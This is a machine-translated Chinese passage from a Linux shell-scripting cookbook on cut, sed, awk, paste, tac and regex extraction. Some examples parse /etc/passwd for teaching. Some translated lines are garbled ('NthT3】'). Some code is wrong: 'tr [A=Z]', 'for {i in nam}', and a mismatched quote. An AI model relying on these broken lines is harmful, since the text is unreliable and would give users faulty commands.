-```sh - cut -f FIELD_LIST filename - -``` - -`FIELD_LIST`是要显示的列列表。列表由逗号分隔的列号组成。考虑这个例子: - -```sh - $ cut -f 2,3 filename - -``` - -这里,显示第二列和第三列。 - -2. `cut`命令也读取来自`stdin`的输入。 - -*制表符*是字段的默认分隔符。将打印没有分隔符的行。`-s`选项将禁止打印没有分隔符的行。以下命令演示了如何从制表符分隔的文件中提取列: - -```sh - $ cat student_data.txt - No Name Mark Percent - 1 Sarath 45 90 - 2 Alex 49 98 - 3 Anu 45 90 - - $ cut -f1 student_data.txt - No - 1 - 2 - 3 - -``` - -3. 要提取多个字段,请使用以下选项提供用逗号分隔的多个字段编号: - -```sh - $ cut -f2,4 student_data.txt - Name Percent - Sarath 90 - Alex 98 - Anu 90 - -``` - -4. `--complement`选项将显示除`-f`定义的字段外的所有字段。该命令显示除`3`以外的所有字段: - -```sh - $ cut -f3 --complement student_data.txt - No Name Percent - 1 Sarath 90 - 2 Alex 98 - 3 Anu 90 - -``` - -5. `-d`选项将设置分隔符。以下命令显示了如何使用带有冒号分隔列表的`cut`: - -```sh - $ cat delimited_data.txt - No;Name;Mark;Percent - 1;Sarath;45;90 - 2;Alex;49;98 - 3;Anu;45;90 - - $ cut -f2 -d";" delimited_data.txt - Name - Sarath - Alex - Anu - -``` - -# 还有更多 - -`cut`命令有更多选项来定义显示的列。 - -# 将字符或字节范围指定为字段 - -具有固定宽度列的报表在列之间会有不同数量的空格。不能根据字段位置提取值,但可以根据字符位置提取值。`cut`命令可以根据字节或字符以及字段进行选择。 - -输入每个字符位置进行提取是不合理的,因此 cut 接受这些符号以及逗号分隔列表: - -| `N-` | 从第*N*个字节、字符或字段到行尾 | -| `N-M` | 从*NthT3】到*MthT7】(包括)字节、字符或字段** | -| `-M` | 从第一个到第 M 个(包括)字节、字符或字段 | - -我们使用前面的符号将字段指定为一系列字节、字符或具有以下选项的字段: - -* `-b`为字节 -* `-c`为字符 -* `-f`用于定义字段 - -考虑这个例子: - -```sh - $ cat range_fields.txt - abcdefghijklmnopqrstuvwxyz - abcdefghijklmnopqrstuvwxyz - abcdefghijklmnopqrstuvwxyz - abcdefghijklmnopqrstuvwxy - -``` - -显示第二到第五个字符: - -```sh - $ cut -c2-5 range_fields.txt - bcde - bcde - bcde - bcde - -``` - -显示前两个字符: - -```sh - $ cut -c -2 range_fields.txt - ab - ab - ab - ab - -``` - -将`-c`替换为`-b`进行字节计数。 - -`-output-delimiter`选项指定输出分隔符。这在显示多组数据时特别有用: - -```sh - $ cut range_fields.txt -c1-3,6-9 --output-delimiter "," - abc,fghi - abc,fghi - abc,fghi - abc,fghi - -``` - -# 使用 sed 执行文本替换 - -`sed`代表**流编辑**。它最常用于文本替换。这个食谱涵盖了许多常见的`sed`技术。 - -# 怎么做... - -`sed`命令可以用另一个字符串替换一个模式的出现。模式可以是简单的字符串或正则表达式: - -```sh - $ sed 's/pattern/replace_string/' file - -``` - -或者,`sed`可以从`stdin`读取: - -```sh - $ cat file | sed 's/pattern/replace_string/' - -``` - -If you use the `vi` editor, you will notice that the command to replace the text is very similar to the one discussed here. By default, `sed` only prints the substituted text, allowing it to be used in a pipe. - -```sh - $ cat /etc/passwd | cut -d : -f1,3 | sed 's/:/ - UID: /' - root - UID: 0 - bin - UID: 1 - ... - -``` - -1. `-I`选项将使`sed`用修改后的数据替换原始文件: - -```sh - $ sed -i 's/text/replace/' file - -``` - -2. 前面的示例替换了每行中第一次出现的模式。`-g`参数将使`sed`在每次出现时替换: - -```sh - $ sed 's/pattern/replace_string/g' file - -``` - -`/#g`选项将从 *N T4 事件开始替换:* - -```sh - $ echo thisthisthisthis | sed 's/this/THIS/2g' - thisTHISTHISTHIS - - $ echo thisthisthisthis | sed 's/this/THIS/3g' - thisthisTHISTHIS - - $ echo thisthisthisthis | sed 's/this/THIS/4g' - thisthisthisTHIS - -``` - -`sed`命令将`s`后面的字符视为命令分隔符。这允许我们改变带有`/`字符的字符串: - -```sh - sed 's:text:replace:g' - sed 's|text|replace|g' - -``` - -当分隔符出现在模式中时,我们必须使用`\`前缀对其进行转义,如下所示: - -```sh - sed 's|te\|xt|replace|g' - -``` - -`\|`是出现在用转义符替换的模式中的分隔符。 - -# 还有更多... - -`sed`命令支持正则表达式作为要替换的模式,并且有更多的选项来控制其行为。 - -# 删除空行 - -正则表达式支持使删除空行变得容易。`^$`正则表达式定义了一条在开始和结束之间没有任何内容的线==一条空行。最后的`/d`告诉 sed 删除这些行,而不是执行替换。 - -```sh - $ sed '/^$/d' file - -``` - -# 直接在文件中执行替换 - -当文件名传递给`sed`时,通常会打印到`stdout`。`-I`选项将导致`sed`就地修改文件内容: - -```sh - $ sed 's/PATTERN/replacement/' -i filename - -``` - -例如,用文件中的另一个指定数字替换所有三位数,如下所示: - -```sh - $ cat sed_data.txt - 11 abc 111 this 9 file contains 111 11 88 numbers 0000 - - $ sed -i 's/\b[0-9]\{3\}\b/NUMBER/g' sed_data.txt - $ cat sed_data.txt - 11 abc NUMBER this 9 file contains NUMBER 11 88 numbers 0000 - -``` - -前面的一行仅替换三位数。`\b[0-9]\{3\}\b`是用来匹配三位数的正则表达式。`[0-9]`是从`0`到`9`的数字范围。`{3}`字符串定义了位数。反斜杠用于给`{`和`}`赋予特殊含义,`\b`代表空白,即单词边界标记。 - -It's a useful practice to first try the `sed` command without `-i` to make sure your regex is correct. After you are satisfied with the result, add the `-i` option to make changes to the file. Alternatively, you can use the following form of `sed`: - -```sh - sed -i .bak 's/abc/def/' file - -``` - -In this case, `sed` will perform the replacement on the file and also create a file called `file.bak`, which contains the original contents. - -# 匹配字符串表示法() - -`&`符号是匹配的字符串。该值可用于替换字符串: - -```sh - $ echo this is an example | sed 's/\w\+/[&]/g' - [this] [is] [an] [example] - -``` - -这里`\w\+`正则表达式匹配每个单词。然后,我们用`[&]`替换,对应匹配的词。 - -# 子字符串匹配表示法 (\1) - -`&`对应于给定模式的匹配字符串。正则表达式的括号部分可以与`\#`匹配: - -```sh - $ echo this is digit 7 in a number | sed 's/digit \([0-9]\)/\1/' - this is 7 in a number - -``` - -前面的命令将`digit 7`替换为`7`。匹配的子字符串是`7`。`\(pattern\)`匹配子串。该模式包含在`()`中,用反斜杠转义。第一个子串匹配,对应的符号是`\1`,第二个是`\2`,以此类推。 - -```sh - $ echo seven EIGHT | sed 's/\([a-z]\+\) \([A-Z]\+\)/\2 \1/' - EIGHT seven - -``` - -`([a-z]\+\)`匹配第一个单词,`\([A-Z]\+\)`匹配第二个单词;`\1`和`\2`用于参考。这种类型的引用称为**反向引用**。在替换零件中,它们的顺序被更改为`\2 \1`,因此,它以相反的顺序出现。 - -# 组合多个表达式 - -多个`sed`命令可以与管道、用分号分隔的模式或`-e PATTERN`选项组合在一起: - -```sh - sed 'expression' | sed 'expression' - -``` - -前面的命令相当于下面的命令: - -```sh - $ sed 'expression; expression' - -``` - -或者: - -```sh - $ sed -e 'expression' -e expression' - -``` - -考虑这些例子: - -```sh - $ echo abc | sed 's/a/A/' | sed 's/c/C/' - AbC - $ echo abc | sed 's/a/A/;s/c/C/' - AbC - $ echo abc | sed -e 's/a/A/' -e 's/c/C/' - AbC - -``` - -# 引用 - -`sed`表达式一般用单引号引用。可以使用双引号。shell 将在调用 sed 之前展开双引号。当我们想要在`sed`表达式中使用变量字符串时,使用双引号非常有用。 - -考虑这个例子: - -```sh - $ text=hello - $ echo hello world | sed "s/$text/HELLO/" - HELLO world - -``` - -`$text`评定为`hello`。 - -# 使用 awk 进行高级文本处理 - -`awk`命令处理数据流。它支持关联数组、递归函数、条件语句等等。 - -# 准备好 - -一个`awk`脚本的结构是: - -```sh -awk ' BEGIN{ print "start" } pattern { commands } END{ print "end"}' file - -``` - -`awk`命令也可以从`stdin`读取。 - -一个`awk`脚本包括三个部分–:`BEGIN`、`END`,以及一个带有模式匹配选项的公共语句块。这些都是可选的,它们中的任何一个都可以在脚本中缺失。 - -Awk 将逐行处理文件。在`awk`开始处理文件之前,将对`BEGIN`之后的命令进行评估。Awk 将使用 PATTER 后面的命令处理与 PATTER 匹配的每一行。最后,在处理完整个文件后,`awk`将处理跟随`END`的命令。 - -# 怎么做... - -让我们写一个简单的`awk`脚本,用单引号或双引号括起来: - -```sh - awk 'BEGIN { statements } { statements } END { end statements }' - -``` - -或者: - -```sh - awk "BEGIN { statements } { statements } END { end statements }" - -``` - -该命令将报告文件中的行数: - -```sh - $ awk 'BEGIN { i=0 } { i++ } END{ print i}' filename - -``` - -或者: - -```sh - $ awk "BEGIN { i=0 } { i++ } END{ print i }" filename - -``` - -# 它是如何工作的... - -`awk`命令按以下顺序处理参数: - -1. 首先,它执行`BEGIN { commands }`块中的命令。 -2. 接下来,`awk`从文件或`stdin`中读取一行,如果匹配可选模式,则执行`commands`块。它重复这个步骤,直到文件结束。 -3. 当到达输入流的末尾时,它执行`END { commands }`块。 - -在`awk`开始从输入流读取行之前执行`BEGIN`块。它是一个可选块。这些命令,例如变量初始化和打印输出表的输出头,是`BEGIN`块中常见的命令。 - -`END`块类似于`BEGIN`块。当`awk`完成从输入流中读取所有行时,它被执行。这通常是在分析所有行后打印结果。 - -最重要的块保存模式块的公共命令。该块也是可选的。如果没有提供,则执行`{ print }`打印读取的每一行。该块对`awk`读取的每一行执行。它就像一个`while`循环,语句在循环体内部执行。 - -当读取一行时,`awk`检查模式是否与该行匹配。模式可以是正则表达式匹配、条件、一系列行等等。如果当前行与模式匹配,`awk`执行包含在`{ }`中的命令。 - -模式是可选的。如果不使用,所有行都匹配: - -```sh - $ echo -e "line1\nline2" | awk 'BEGIN{ print "Start" } { print } \ - END{ print "End" } ' - Start - line1 - line2 - End - -``` - -当`print`在没有参数的情况下使用时,`awk`打印当前行。 - -print 命令可以接受参数。这些参数用逗号分隔,用空格分隔符打印。双引号用作连接运算符。 - -考虑这个例子: - -```sh - $ echo | awk '{ var1="v1"; var2="v2"; var3="v3"; \ - print var1,var2,var3 ; }' - -``` - -前面的命令将显示: - -```sh - v1 v2 v3 - -``` - -`echo`命令在标准输出中写入一行。因此,`awk`的`{ }`块中的语句被执行一次。如果`awk`的输入包含多行,`awk`中的命令将被执行多次。 - -用带引号的字符串进行连接: - -```sh - $ echo | awk '{ var1="v1"; var2="v2"; var3="v3"; \ - print var1 "-" var2 "-" var3 ; }' - v1-v2-v3 - -``` - -`{ }`就像一个循环中的块,迭代文件的每一行。 - -It's a common practice to place initial variable assignments such as `var=0;` in the `BEGIN` block. The `END{}` block contains commands to print the results. - -# 还有更多... - -`awk`命令与`grep`、`find`和`tr`等命令的不同之处在于,它不仅仅是一个带有改变行为选项的功能。`awk`命令是一个解释和执行程序的程序,像 shell 一样包含特殊变量。 - -# 特殊变量 - -可以与`awk`一起使用的一些特殊变量如下: - -* `NR`:代表当前记录号,对应`awk`使用行作为记录时的当前行号。 -* `NF`:代表字段数,对应当前正在处理的记录中的字段数。默认字段分隔符是空格。 -* `$0`:这是一个包含当前记录文本的变量。 -* `$1`:这是一个保存第一个字段文本的变量。 -* `$2`:这是一个保存第二个字段文本的变量。 - -考虑这个例子: - -```sh - $ echo -e "line1 f2 f3\nline2 f4 f5\nline3 f6 f7" | \ - - awk '{ - print "Line no:"NR",No of fields:"NF, "$0="$0, - "$1="$1,"$2="$2,"$3="$3 - }' - Line no:1,No of fields:3 $0=line1 f2 f3 $1=line1 $2=f2 $3=f3 - Line no:2,No of fields:3 $0=line2 f4 f5 $1=line2 $2=f4 $3=f5 - Line no:3,No of fields:3 $0=line3 f6 f7 $1=line3 $2=f6 $3=f7 - -``` - -我们可以将一行的最后一个字段打印为`print $NF`,倒数第二个字段打印为`$(NF-1)`等等。 - -`awk`还支持一个`printf()`函数,语法与 c 中相同。 - -以下命令打印每行的第二个和第三个字段: - -```sh - $awk '{ print $3,$2 }' file - -``` - -我们可以使用 NR 来计算文件中的行数: - -```sh - $ awk 'END{ print NR }' file - -``` - -这里,我们只使用`END`块。Awk 在读取每一行时更新`NR`。当`awk`到达文件末尾时,NR 将包含最后一个行号。您可以将`field 1`每行的所有数字总结如下: - -```sh - $ seq 5 | awk 'BEGIN{ sum=0; print "Summation:" } - { print $1"+"; sum+=$1 } END { print "=="; print sum }' - Summation: - 1+ - 2+ - 3+ - 4+ - 5+ - == - 15 - -``` - -# 将外部变量传递给 awk - -使用`-v`参数,我们可以将`stdin`以外的外部值传递给`awk`,如下所示: - -```sh - $ VAR=10000 - $ echo | awk -v VARIABLE=$VAR '{ print VARIABLE }' - 10000 - -``` - -有一种灵活的替代方法可以从外部传递许多变量值`awk`。考虑以下示例: - -```sh - $ var1="Variable1" ; var2="Variable2" - $ echo | awk '{ print v1,v2 }' v1=$var1 v2=$var2 - Variable1 Variable2 - -``` - -当通过文件而不是标准输入进行输入时,请使用以下命令: - -```sh - $ awk '{ print v1,v2 }' v1=$var1 v2=$var2 filename - -``` - -在前面的方法中,变量被指定为键-值对,用空格分隔,并且在`BEGIN`、`{ }`和`END`块之后不久将`(v1=$var1 v2=$var2 )`指定为`awk`的命令参数。 - -# 使用 getline 显式读取一行 - -`awk`程序默认读取整个文件。`getline`功能将读取一行。这可用于从`BEGIN`块中的文件读取标题信息,然后处理主块中的实际数据。 - -语法是`getline var`。`var`变量将包含该行。如果调用`getline`没有参数,我们可以使用`$0`、`$1`和`$2`访问该行的内容。 - -考虑这个例子: - -```sh - $ seq 5 | awk 'BEGIN { getline; print "Read ahead first line", $0 } - { print $0 }' - Read ahead first line 1 - 2 - 3 - 4 - 5 - -``` - -# 使用过滤器模式过滤 awk 处理的线条 - -我们可以为要处理的行指定条件: - -```sh - $ awk 'NR < 5' # first four lines - $ awk 'NR==1,NR==4' #First four lines - $ # Lines containing the pattern linux (we can specify regex) - $ awk '/linux/' - $ # Lines not containing the pattern linux - $ awk '!/linux/' - -``` - -# 设置字段分隔符 - -默认情况下,字段的分隔符是空格。`-F`选项定义了不同的字段分隔符。 - -```sh - $ awk -F: '{ print $NF }' /etc/passwd - -``` - -或者: - -```sh - awk 'BEGIN { FS=":" } { print $NF }' /etc/passwd - -``` - -我们可以通过在`BEGIN`块中设置`OFS="delimiter"`来设置输出字段分隔符。 - -# 从 awk 读取命令输出 - -Awk 可以调用命令并读取输出。将命令字符串放在引号内,并使用竖线将输出传送到`getline`: - -```sh - "command" | getline output ; - -``` - -下面的代码从`/etc/passwd`读取一行,显示登录名和主文件夹。它将字段分隔符重置为`BEGIN`块中的`:`并调用主块中的`grep`。 - -```sh - $ awk 'BEGIN {FS=":"} { "grep root /etc/passwd" | getline; \ - print $1,$6 }' - root /root - -``` - -# Awk 中的关联数组 - -Awk 支持包含数字或字符串的变量,也支持关联数组。关联数组是用字符串而不是数字来索引的数组。您可以通过方括号内的索引来识别关联数组: - -```sh - arrayName[index] - -``` - -可以为数组赋值等号,就像简单的用户定义变量一样: - -```sh - myarray[index]=value - -``` - -# 在 awk 中使用循环 - -Awk 支持数值`for`循环,语法类似于`C`: - -```sh - for(i=0;i<10;i++) { print $i ; } - -``` - -Awk 还支持显示数组内容的循环列表样式: - -```sh - for(i in array) { print array[i]; } - -``` - -下面的示例显示了如何将数据收集到数组中,然后显示它。该脚本从`/etc/password`读取行,在`:`标记处将其拆分为字段,并创建一个名称数组,其中索引是登录标识,值是用户名: - -```sh - $ awk 'BEGIN {FS=":"} {nam[$1]=$5} END {for {i in nam} \ - {print i,nam[i]}}' /etc/passwd - root root - ftp FTP User - userj Joe User - -``` - -# awk 中的字符串操作函数 - -`awk`的语言包括许多内置的字符串操作功能: - -* `length(string)`:返回字符串长度。 -* `index(string, search_string)`:返回字符串中`search_string`的位置。 -* `split(string, array, delimiter)`:这将使用通过在分隔符上拆分字符串而创建的字符串填充数组。 -* `substr(string, start-position, end-position)`:返回字符串在开始和结束字符偏移量之间的子字符串。 -* `sub(regex, replacement_str, string)`:这将字符串中第一个出现的正则表达式匹配替换为`replacment_str`。 -* `gsub(regex, replacment_str, string)`:这和`sub()`很像,但是它代替了每一个正则表达式匹配。 -* `match(regex, string)`:返回字符串中是否有正则表达式(正则表达式)匹配。如果找到匹配,则返回非零输出,否则返回零。两个特殊变量与`match()`相关联。他们是`RSTART`和`RLENGTH`。`RSTART`变量包含正则表达式匹配开始的位置。`RLENGTH`变量包含正则表达式匹配的字符串长度。 - -# 查找给定文件中单词的使用频率 - -计算机擅长计数。我们经常需要计算一些项目,比如发送垃圾邮件的网站数量、不同网页的下载数量,或者单词在一篇文本中的使用频率。这个食谱展示了如何计算一段文字中的单词使用量。这些技术也适用于日志文件、数据库输出等。 - -# 准备好 - -我们可以用`awk`的关联数组用不同的方式来解决这个问题。**单词**是字母字符,用空格或句点分隔。首先,我们应该解析给定文件中的所有单词,然后需要找到每个单词的数量。可以使用带有工具的正则表达式来解析单词,如`sed`、`awk`或`grep`。 - -# 怎么做... - -我们只是探索了解决方案的逻辑和思路;现在让我们创建如下 shell 脚本: - -```sh -#!/bin/bash -#Name: word_freq.sh -#Desc: Find out frequency of words in a file - -if [ $# -ne 1 ]; -then - echo "Usage: $0 filename"; - exit -1 -fi - -filename=$1 -egrep -o "\b[[:alpha:]]+\b" $filename | \ - awk '{ count[$0]++ } - END {printf("%-14s%s\n","Word","Count") ; - for(ind in count) - { printf("%-14s%d\n",ind,count[ind]); - } - } - -``` - -该脚本将生成以下输出: - -```sh - $ ./word_freq.sh words.txt - Word Count - used 1 - this 2 - counting 1 - -``` - -# 它是如何工作的... - -`egrep`命令将文本文件转换成单词流,每行一个单词。`\b[[:alpha:]]+\b`模式匹配每个单词,并删除空白和标点符号。`-o`选项将匹配的字符序列打印为每行一个单词。 - -`awk`命令对每个单词进行计数。它为每一行执行`{ }`块中的语句,所以我们不需要特定的循环来执行。计数通过`count[$0]++`命令递增,其中`$0`是当前行,`count`是关联数组。处理完所有行后,`END{}`块打印单词及其计数。 - -这个过程的主体可以使用我们所看到的其他工具进行修改。我们可以使用`tr`命令将大写和非大写的单词合并成一个计数,并使用 sort 命令对输出进行排序,如下所示: - -```sh -egrep -o "\b[[:alpha:]]+\b" $filename | tr [A=Z] [a-z] | \ - awk '{ count[$0]++ } - END{ printf("%-14s%s\n","Word","Count") ; - for(ind in count) - { printf("%-14s%d\n",ind,count[ind]); - } - }' | sort - -``` - -# 请参见 - -* 本章中的*使用 awk 进行高级文本处理*配方解释了`awk`命令 -* [第 1 章](01.html)*中的*数组和关联数组*配方解释了 Bash 中的数组* - -# 压缩或解压缩 JavaScript - -JavaScript 在网站中被广泛使用。在开发 JavaScript 代码时,我们使用空格、注释和标签来提高代码的可读性和维护性。这会增加文件大小,从而降低页面加载速度。因此,大多数专业网站使用压缩的 JavaScript 加速页面加载。这种压缩(也称为**缩小的 JS** )是通过删除空白和换行符来完成的。一旦 JavaScript 被压缩,就可以通过替换足够的空白和换行符来解压缩,使其可读。这个配方在 Shell 中产生类似的功能。 - -# 准备好 - -我们将编写一个 JavaScript 压缩器工具和一个解压缩工具。考虑以下 JavaScript: - -```sh - $ cat sample.js - function sign_out() - { - - $("#loading").show(); - $.get("log_in",{logout:"True"}, - - function(){ - window.location=""; - }); - } - -``` - -我们的脚本需要执行以下步骤来压缩 JavaScript: - -1. 删除换行符和制表符。 -2. 删除重复的空格。 -3. 替换看起来像`/* content */`的评论。 - -为了解压或使 JavaScript 更易读,我们可以使用以下任务: - -* 将`;`替换为`;\n` -* 将`{`替换为`{\n`,将`}`替换为`\n}` - -# 怎么做... - -使用这些步骤,我们可以使用以下命令链: - -```sh - $ cat sample.js | \ - tr -d '\n\t' | tr -s ' ' \ - | sed 's:/\*.*\*/::g' \ - | sed 's/ \?\([{}();,:]\) \?/\1/g' - -``` - -输出如下: - -```sh - function sign_out(){$("#loading").show();$.get("log_in", - {logout:"True"},function(){window.location="";});} - -``` - -以下解压缩脚本使模糊代码可读: - -```sh - $ cat obfuscated.txt | sed 's/;/;\n/g; s/{/{\n\n/g; s/}/\n\n}/g' - -``` - -或者: - -```sh - $ cat obfuscated.txt | sed 's/;/;\n/g' | sed 's/{/{\n\n/g' | sed - 's/}/\n\n}/g' - -``` - -There is a limitation in the script: that it even gets rid of extra spaces where their presence is intentional. For example, if you have a line like the following:                 `var a = "hello world"`  -The two spaces will be converted into one space. You can fix problems such as this using the pattern-matching tools we have discussed. Also, when dealing with a mission-critical JavaScript code, it is advised that you use well-established tools to do this. - -# 它是如何工作的... - -压缩命令执行以下任务: - -* 删除`\n`和`\t`字符: - -```sh - tr -d '\n\t' - -``` - -* 删除额外空间: - -```sh - tr -s ' ' or sed 's/[ ]\+/ /g' - -``` - -* 删除注释: - -```sh - sed 's:/\*.*\*/::g' - -``` - -`:`用作`sed`分隔符,以避免需要转义`/`,因为我们需要使用`/*`和`*/`。 - -在 sed 中,`*`被转义为`\*`。 - -`.*`匹配`/*`和`*/`之间的所有文本。 - -* 删除`{`、`}`、`(`、`)`、`;`、`:`和`,`字符前后的所有空格: - -```sh - sed 's/ \?\([{}();,:]\) \?/\1/g' - -``` - -前面的`sed`语句是这样工作的: - -* `sed`代码中的`/ \?\([{}();,:]\) \?/`为匹配部分,`/\1 /g`为替换部分。 -* `\([{}();,:]\)`用于匹配`[ { }( ) ; , : ]`集合中的任意一个字符(插入空格是为了可读性)。`\(`和`\)`是组运算符,用于记忆替换零件中的匹配和回参考。`(`和`)`都是为了给他们一个特殊的群体操作者的意义而逃出来的。`\?`在组运算符之前和之后,以匹配集合中任何字符之前或之后的空格字符。 -* 在替换部分,匹配字符串(即`:`、空格(可选)、集合中的一个字符以及可选空格的组合)被替换为匹配的字符。它使用组运算符`()`对匹配和记忆的字符进行反向引用。反向引用字符是指使用`\1`符号的组匹配。 - -解压缩命令的工作原理如下: - -* `s/;/;\n/g`将`;`替换为`;\n` -* `s/{/{\n\n/g`将`{`替换为`{\n\n` -* `s/}/\n\n}/g`将`}`替换为`\n\n}` - -# 请参见 - -* 本章中的*使用 sed 执行文本替换*方法解释了`sed`命令 -* [第二章](02.html)、*好好指挥*中的*用 tr* 食谱翻译解释了`tr`命令 - -# 将多个文件合并为列 - -can 命令可用于逐行合并两个文件,一个文件接一个文件。有时我们需要并排合并两个或多个文件,将文件 1 中的行与文件 2 中的行连接起来。 - -# 怎么做... - -`paste`命令执行列连接: - -```sh - $ paste file1 file2 file3 ... - -``` - -这里有一个例子: - -```sh - $ cat file1.txt - 1 - 2 - 3 - 4 - 5 - $ cat file2.txt - slynux - gnu - bash - hack - $ paste file1.txt file2.txt - 1 slynux - 2 gnu - 3 bash - 4 hack - 5 - -``` - -默认分隔符是制表符。我们可以用`-d`指定分隔符: - -```sh - $ paste file1.txt file2.txt -d "," - 1,slynux - 2,gnu - 3,bash - 4,hack - 5, - -``` - -# 请参见 - -* 本章中的*用剪切*方法逐列剪切文件解释了如何从文本文件中提取数据 - -# 打印文件或行中的第 n 个单词或列 - -我们经常需要从文件中提取几列有用的数据。例如,在按分数排序的学生列表中,我们希望获得第四高的分数。这个食谱说明了如何做这件事。 - -# 怎么做... - -`awk`命令经常用于此任务。 - -1. 要打印第五列,请使用以下命令: - -```sh - $ awk '{ print $5 }' filename - -``` - -2. 我们可以打印多列,并在列之间插入一个自定义字符串。 - -以下命令将打印当前目录中每个文件的权限和文件名: - -```sh - $ ls -l | awk '{ print $1 " : " $8 }' - -rw-r--r-- : delimited_data.txt - -rw-r--r-- : obfuscated.txt - -rw-r--r-- : paste1.txt - -rw-r--r-- : paste2.txt - -``` - -# 请参见 - -* 本章中的*使用 awk 进行高级文本处理*配方解释了`awk`命令 -* 本章中的*用剪切*方法逐列剪切文件解释了如何从文本文件中提取数据 - -# 在行号或图案之间打印文本 - -我们可能需要打印文件的选定部分,要么是行号范围,要么是开始和结束模式匹配的范围。 - -# 准备好了 - -`Awk`、`grep`或`sed`将根据条件选择要打印的行。使用`grep`打印包含图案的线条是最简单的。Awk 是最通用的工具。 - -# 怎么做... - -要打印行号或图案之间的文本,请执行以下步骤: - -1. 打印行号范围内的文本行,`M`至`N`: - -```sh - $ awk 'NR==M, NR==N' filename - -``` - -Awk 可以从`stdin`读取: - -```sh - $ cat filename | awk 'NR==M, NR==N' - -``` - -2. 将`M`和`N`替换为数字: - -```sh - $ seq 100 | awk 'NR==4,NR==6' - 4 - 5 - 6 - -``` - -3. 打印 a `start_pattern`和`end_pattern`之间的文本行: - -```sh - $ awk '/start_pattern/, /end _pattern/' filename - -``` - -考虑这个例子: - -```sh - $ cat section.txt - line with pattern1 - line with pattern2 - line with pattern3 - line end with pattern4 - line with pattern5 - - $ awk '/pa.*3/, /end/' section.txt - line with pattern3 - line end with pattern4 - -``` - -`awk`中使用的模式是正则表达式。 - -# 请参见 - -* 本章中的*使用 awk 进行高级文本处理*配方解释了`awk`命令 - -# 以相反的顺序打印行 - -这个方法看起来可能没什么用,但是可以用来模拟 Bash 中的堆栈数据结构。 - -# 准备好 - -最简单的方法是使用`tac`命令(cat 的反义词)。任务也可以用`awk`完成。 - -# 怎么做... - -我们将首先看看如何使用`tac`来做到这一点。 - -1. `tac`的语法如下: - -```sh - tac file1 file2 ... - -``` - -`tac`命令也可以从`stdin`读取: - -```sh - $ seq 5 | tac - 5 - 4 - 3 - 2 - 1 - -``` - -`tac`的默认行分隔符是`\n`。-s 选项将重新定义这一点: - -```sh - $ echo "1,2" | tac -s , - 2 - 1 - -``` - -2. 该`awk`脚本将以相反的顺序打印行: - -```sh - seq 9 | \ - awk '{ lifo[NR]=$0 } \ - END { for(lno=NR;lno>-1;lno--) { print lifo[lno]; } - }' - -``` - -`\`在 shell 脚本中是用来将一个单行命令序列拆分成多行的。 - -# 它是如何工作的... - -`awk`脚本使用行号作为索引将每一行存储到关联数组中(`NR`返回行号)。读完所有行后,`awk`执行`END`块。`NR`变量由`awk`维护。它保存当前行号。当`awk`开始结束块时,`NR`是行数。使用`{ }`块中的`lno=NR`从最后一个行号迭代到`0`,以逆序打印行。 - -# 从文本中解析电子邮件地址和网址 - -解析电子邮件地址和 URL 等元素是一项常见的任务。正则表达式使找到这些模式变得容易。 - -# 怎么做... - -匹配电子邮件地址的正则表达式模式如下: - -```sh - [A-Za-z0-9._]+@[A-Za-z0-9.]+\.[a-zA-Z]{2,4} - -``` - -考虑以下示例: - -```sh - $ cat url_email.txt - this is a line of text contains, #slynux@slynux.com. - and email address, blog "http://www.google.com", - test@yahoo.com dfdfdfdddfdf;cool.hacks@gmail.com
-

Heading

- -``` - -因为我们使用的是扩展正则表达式(例如`+`),所以我们应该使用`egrep`: - -```sh - $ egrep -o '[A-Za-z0-9._]+@[A-Za-z0-9.]+\.[a-zA-Z]{2,4}' - url_email.txt - slynux@slynux.com - test@yahoo.com - cool.hacks@gmail.com - -``` - -HTTP 网址的`egrep`正则表达式模式如下: - -```sh - http://[a-zA-Z0-9\-\.]+\.[a-zA-Z]{2,4} - -``` - -考虑这个例子: - -```sh - $ egrep -o "http://[a-zA-Z0-9.]+\.[a-zA-Z]{2,3}" url_email.txt - http://www.google.com - http://code.google.com - -``` - -# 它是如何工作的... - -正则表达式很容易逐部分设计。在电子邮件正则表达式中,我们都知道电子邮件地址采用`name@domain.some_2-4_letter_suffix`形式。用 regex 语言编写这个模式将如下所示: - -```sh -[A-Za-z0-9.]+@[A-Za-z0-9.]+\.[a-zA-Z]{2,4} - -``` - -`[A-Za-z0-9.]+`表示我们在`[]`块中需要一个或多个字符(`+`表示至少一个,也许更多)。该字符串后面是一个`@`字符。接下来,我们将看到域名,一串字母或数字,一个句点,然后是 2-4 个字母。`[A-Za-z0-9]+`模式定义了一个字母数字字符串。`\.`模式意味着必须出现一个文字周期。`[a-zA-Z]{2,4}`模式定义 2、3 或 4 个字母。 - -HTTP URL 类似于电子邮件,但我们不需要电子邮件正则表达式的`name@`匹配部分: - -```sh -http://[a-zA-Z0-9.]+\.[a-zA-Z]{2,3} - -``` - -# 请参见 - -* 本章中的*使用 sed 执行文本替换*方法解释了`sed`命令 -* 本章中的*使用正则表达式*食谱解释了如何使用正则表达式 - -# 删除文件中包含单词的句子 - -使用正则表达式删除包含特定单词的句子是一项简单的任务。这个食谱展示了解决类似问题的技巧。 - -# 准备好 - -`sed`是进行替换的最佳工具。本食谱使用`sed`将匹配的句子替换为空白。 - -# 怎么做... - -让我们创建一个包含一些文本的文件来执行替换。考虑这个例子: - -```sh - $ cat sentence.txt - Linux refers to the family of Unix-like computer operating systems - that use the Linux kernel. Linux can be installed on a wide variety - of computer hardware, ranging from mobile phones, tablet computers - and video game consoles, to mainframes and supercomputers. Linux is - predominantly known for its use in servers. - -``` - -要删除包含单词`mobile phones`的句子,请使用以下`sed`表达式: - -```sh - $ sed 's/ [^.]*mobile phones[^.]*\.//g' sentence.txt - Linux refers to the family of Unix-like computer operating systems - that use the Linux kernel. Linux is predominantly known for its use - in servers. - -``` - -This recipe assumes that no sentence spans more than one line, for example, a sentence should always begin and end on the same line in the text. - -# 它是如何工作的... - -`sed`正则表达式`'s/ [^.]*mobile phones[^.]*\.//g'`具有`'s/substitution_pattern/replacement_string/g`格式。它用替换字符串替换每次出现的`substitution_pattern`。 - -替代模式是句子的正则表达式。每句话以空格开头,以`.`结尾。正则表达式必须与`"space" some text MATCH_STRING some text "dot"`格式的文本匹配。除了作为分隔符的“点”之外,句子可以包含任何字符。`[^.]`模式匹配除句点`.`之外的任何字符。`*`模式定义了任意数量的字符。`mobile phones`文本匹配字符串位于非句点字符的模式之间。每一个匹配的句子都被`//`代替(无)。 - -# 请参见 - -* 本章中的*使用 sed 执行文本替换*方法解释了`sed`命令 -* 本章中的*使用正则表达式*食谱解释了如何使用正则表达式 - -# 用目录中所有文件的文本替换模式 - -我们经常需要在目录中的每个文件中用新的文本替换特定的文本。一个例子是在网站的源目录中到处改变一个共同的 